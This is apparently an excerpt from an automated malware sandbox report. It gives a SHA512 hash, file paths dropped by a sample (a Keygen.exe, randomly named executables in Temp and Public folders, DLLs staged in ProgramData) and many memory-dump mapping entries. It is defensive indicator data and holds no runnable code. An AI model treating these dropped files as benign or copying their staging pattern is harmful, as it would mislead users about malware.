SHA5122565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66
-
\ProgramData\sqlite3.dll
-
\ProgramData\vcruntime140.dll
-
\Users\Admin\AppData\Local\Temp\4E9D.tmp\Keygen.exe
-
\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
-
\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
-
\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
-
\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
-
\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
-
\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
-
\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
-
\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
-
\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
-
\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
-
\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
-
\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
-
\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
-
\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
-
\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
-
\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
-
\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
-
\Users\Admin\AppData\Local\Temp\axcsdfa.exe
-
\Users\Admin\AppData\Local\Temp\axcsdfa.exe
-
\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe
-
\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe
-
\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe
-
\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe
-
\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe
-
\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe
-
\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe
-
\Users\Public\pmo.exe
-
\Users\Public\rvm.exe
-
\Users\Public\rvm.exe
-
\Users\Public\snd.exe
-
\Users\Public\snd.exe
-
\Users\Public\snd.exe
-
\Users\Public\snd.exe
-
\Users\Public\snd.exe
-
\Users\Public\snd.exe
-
\Users\Public\snd.exe
-
\Users\Public\snd.exe
-
\Users\Public\snd.exe
-
memory/300-27-0x0000000000000000-mapping.dmp
-
memory/392-341-0x0000000000400000-0x0000000000420000-memory.dmpFilesize
128KB
-
memory/392-344-0x0000000000400000-0x0000000000420000-memory.dmpFilesize
128KB
-
memory/392-342-0x000000000041A684-mapping.dmp
-
memory/568-20-0x0000000000000000-mapping.dmp
-
memory/596-338-0x0000000001F60000-0x0000000001F84000-memory.dmpFilesize
144KB
-
memory/596-313-0x0000000000A40000-0x0000000000A41000-memory.dmpFilesize
4KB
-
memory/596-312-0x0000000072CC0000-0x00000000733AE000-memory.dmpFilesize
6.9MB
-
memory/596-308-0x0000000000000000-mapping.dmp
-
memory/596-315-0x0000000000580000-0x0000000000581000-memory.dmpFilesize
4KB
-
memory/756-21-0x0000000000000000-mapping.dmp
-
memory/1036-326-0x0000000000417A8B-mapping.dmp
-
memory/1036-333-0x0000000000417A8B-mapping.dmp
-
memory/1036-329-0x0000000000417A8B-mapping.dmp
-
memory/1036-328-0x0000000000417A8B-mapping.dmp
-
memory/1036-327-0x0000000000417A8B-mapping.dmp
-
memory/1036-309-0x0000000000400000-0x0000000000434000-memory.dmpFilesize
208KB
-
memory/1036-334-0x0000000000417A8B-mapping.dmp
-
memory/1036-304-0x0000000000417A8B-mapping.dmp
-
memory/1036-325-0x0000000000417A8B-mapping.dmp
-
memory/1036-332-0x0000000000417A8B-mapping.dmp
-
memory/1036-324-0x0000000000417A8B-mapping.dmp
-
memory/1036-331-0x0000000000417A8B-mapping.dmp
-
memory/1036-323-0x0000000000417A8B-mapping.dmp
-
memory/1036-330-0x0000000000417A8B-mapping.dmp
-
memory/1036-303-0x0000000000400000-0x0000000000434000-memory.dmpFilesize
208KB
-
memory/1092-18-0x0000000000000000-mapping.dmp
-
memory/1156-361-0x0000000002780000-0x0000000002791000-memory.dmpFilesize
68KB
-
memory/1156-346-0x0000000002040000-0x0000000002051000-memory.dmpFilesize
68KB
-
memory/1156-345-0x0000000000000000-mapping.dmp
-
memory/1400-35-0x0000000071420000-0x0000000071B0E000-memory.dmpFilesize
6.9MB
-
memory/1400-243-0x0000000006610000-0x0000000006611000-memory.dmpFilesize
4KB
-
memory/1400-242-0x0000000006570000-0x0000000006571000-memory.dmpFilesize
4KB
-
memory/1400-23-0x0000000000000000-mapping.dmp
-
memory/1460-189-0x0000000000417A8B-mapping.dmp
-
memory/1480-110-0x0000000006610000-0x0000000006611000-memory.dmpFilesize
4KB
-
memory/1480-31-0x0000000000000000-mapping.dmp
-
memory/1480-77-0x00000000064D0000-0x00000000064D1000-memory.dmpFilesize
4KB
-
memory/1480-83-0x0000000006540000-0x0000000006541000-memory.dmpFilesize
4KB
-
memory/1480-70-0x0000000006390000-0x0000000006391000-memory.dmpFilesize
4KB
-
memory/1480-64-0x00000000058E0000-0x00000000058E1000-memory.dmpFilesize
4KB
-
memory/1480-69-0x0000000005930000-0x0000000005931000-memory.dmpFilesize
4KB
-
memory/1480-224-0x0000000006760000-0x0000000006761000-memory.dmpFilesize
4KB
-
memory/1480-223-0x0000000006750000-0x0000000006751000-memory.dmpFilesize
4KB
-
memory/1480-39-0x0000000071420000-0x0000000071B0E000-memory.dmpFilesize
6.9MB
-
memory/1484-38-0x0000000071420000-0x0000000071B0E000-memory.dmpFilesize
6.9MB
-
memory/1484-50-0x0000000002870000-0x0000000002871000-memory.dmpFilesize
4KB
-
memory/1484-30-0x0000000000000000-mapping.dmp
-
memory/1500-22-0x0000000000000000-mapping.dmp
-
memory/1500-34-0x0000000071420000-0x0000000071B0E000-memory.dmpFilesize
6.9MB
-
memory/1576-56-0x0000000005480000-0x0000000005481000-memory.dmpFilesize
4KB
-
memory/1576-42-0x0000000004B40000-0x0000000004B41000-memory.dmpFilesize
4KB
-
memory/1576-12-0x0000000000000000-mapping.dmp
-
memory/1576-260-0x0000000006550000-0x0000000006551000-memory.dmpFilesize
4KB
-
memory/1576-16-0x0000000071420000-0x0000000071B0E000-memory.dmpFilesize
6.9MB
-
memory/1576-36-0x00000000024A0000-0x00000000024A1000-memory.dmpFilesize
4KB
-
memory/1576-261-0x00000000065A0000-0x00000000065A1000-memory.dmpFilesize
4KB
-
memory/1592-15-0x0000000071420000-0x0000000071B0E000-memory.dmpFilesize
6.9MB
-
memory/1592-13-0x0000000000000000-mapping.dmp
-
memory/1608-233-0x0000000000000000-mapping.dmp
-
memory/1608-247-0x0000000000380000-0x0000000000381000-memory.dmpFilesize
4KB
-
memory/1608-244-0x00000000013C0000-0x00000000013C1000-memory.dmpFilesize
4KB
-
memory/1608-237-0x0000000071420000-0x0000000071B0E000-memory.dmpFilesize
6.9MB
-
memory/1608-298-0x0000000000C50000-0x0000000000CA1000-memory.dmpFilesize
324KB
-
memory/1676-29-0x0000000000000000-mapping.dmp
-
memory/1812-0-0x0000000000000000-mapping.dmp
-
memory/1852-5-0x0000000000000000-mapping.dmp
-
memory/1852-4-0x0000000000000000-mapping.dmp
-
memory/1888-8-0x0000000000000000-mapping.dmp
-
memory/1908-10-0x0000000000000000-mapping.dmp
-
memory/1920-11-0x0000000000000000-mapping.dmp
-
memory/1956-297-0x0000000002790000-0x00000000027A1000-memory.dmpFilesize
68KB
-
memory/1956-295-0x0000000002790000-0x00000000027A1000-memory.dmpFilesize
68KB
-
memory/1956-279-0x0000000002040000-0x0000000002051000-memory.dmpFilesize
68KB
-
memory/1956-278-0x0000000000000000-mapping.dmp
-
memory/2220-185-0x000000000041A684-mapping.dmp
-
memory/2320-275-0x0000000000000000-mapping.dmp
-
memory/2420-276-0x0000000000000000-mapping.dmp
-
memory/2468-317-0x0000000000000000-mapping.dmp
-
memory/2468-335-0x00000000026A0000-0x00000000026B1000-memory.dmpFilesize
68KB
-
memory/2468-318-0x0000000002040000-0x0000000002051000-memory.dmpFilesize
68KB
-
memory/2564-219-0x0000000000400000-0x0000000000493000-memory.dmpFilesize
588KB
-
memory/2564-220-0x000000000043FCC3-mapping.dmp
-
memory/2564-222-0x0000000000400000-0x0000000000493000-memory.dmpFilesize
588KB
-
memory/2588-209-0x0000000000000000-mapping.dmp
-
memory/2588-238-0x00000000027E0000-0x00000000027E4000-memory.dmpFilesize
16KB
-
memory/2592-104-0x0000000000000000-mapping.dmp
-
memory/2592-115-0x0000000000EF0000-0x0000000000EF1000-memory.dmpFilesize
4KB
-
memory/2592-210-0x0000000000C20000-0x0000000000C2D000-memory.dmpFilesize
52KB
-
memory/2592-208-0x0000000000DB0000-0x0000000000E60000-memory.dmpFilesize
704KB
-
memory/2592-107-0x0000000071420000-0x0000000071B0E000-memory.dmpFilesize
6.9MB
-
memory/2632-299-0x0000000000000000-mapping.dmp
-
memory/2632-310-0x0000000002790000-0x0000000002794000-memory.dmpFilesize
16KB
-
memory/2668-118-0x0000000000000000-mapping.dmp
-
memory/2692-122-0x0000000000000000-mapping.dmp
-
memory/2724-134-0x000007FEF68A0000-0x000007FEF6B1A000-memory.dmpFilesize
2.5MB
-
memory/2820-138-0x0000000000000000-mapping.dmp
-
memory/2844-144-0x0000000000000000-mapping.dmp
-
memory/2856-142-0x0000000000000000-mapping.dmp
-
memory/2892-149-0x0000000000000000-mapping.dmp
-
memory/2964-163-0x000000000043FCC3-mapping.dmp
-
memory/2964-358-0x000000000043FCC3-mapping.dmp
-
memory/2964-165-0x0000000000400000-0x0000000000498000-memory.dmpFilesize
608KB
-
memory/2964-354-0x000000000043FCC3-mapping.dmp
-
memory/2964-355-0x000000000043FCC3-mapping.dmp
-
memory/2964-356-0x000000000043FCC3-mapping.dmp
-
memory/2964-357-0x000000000043FCC3-mapping.dmp
-
memory/2964-360-0x000000000043FCC3-mapping.dmp
-
memory/2964-161-0x0000000000400000-0x0000000000498000-memory.dmpFilesize
608KB
-
memory/2964-359-0x000000000043FCC3-mapping.dmp
-
memory/2964-353-0x000000000043FCC3-mapping.dmp
-
memory/2984-173-0x0000000000400000-0x0000000000425000-memory.dmpFilesize
148KB
-
memory/2984-170-0x000000000041A684-mapping.dmp
-
memory/2984-166-0x0000000000400000-0x0000000000425000-memory.dmpFilesize
148KB
-
memory/3008-171-0x000000000043FCC3-mapping.dmp
-
memory/3056-178-0x0000000000417A8B-mapping.dmp
-
memory/3056-288-0x0000000000417A8B-mapping.dmp
-
memory/3056-287-0x0000000000417A8B-mapping.dmp
-
memory/3056-286-0x0000000000417A8B-mapping.dmp
-
memory/3056-289-0x0000000000417A8B-mapping.dmp
-
memory/3056-290-0x0000000000417A8B-mapping.dmp
-
memory/3056-291-0x0000000000417A8B-mapping.dmp
-
memory/3056-292-0x0000000000417A8B-mapping.dmp
-
memory/3056-293-0x0000000000417A8B-mapping.dmp
-
memory/3056-294-0x0000000000417A8B-mapping.dmp
-
memory/3056-180-0x0000000000400000-0x0000000000439000-memory.dmpFilesize
228KB
-
memory/3056-177-0x0000000000400000-0x0000000000439000-memory.dmpFilesize
228KB
-
memory/3056-285-0x0000000000417A8B-mapping.dmp
-
memory/3056-284-0x0000000000417A8B-mapping.dmp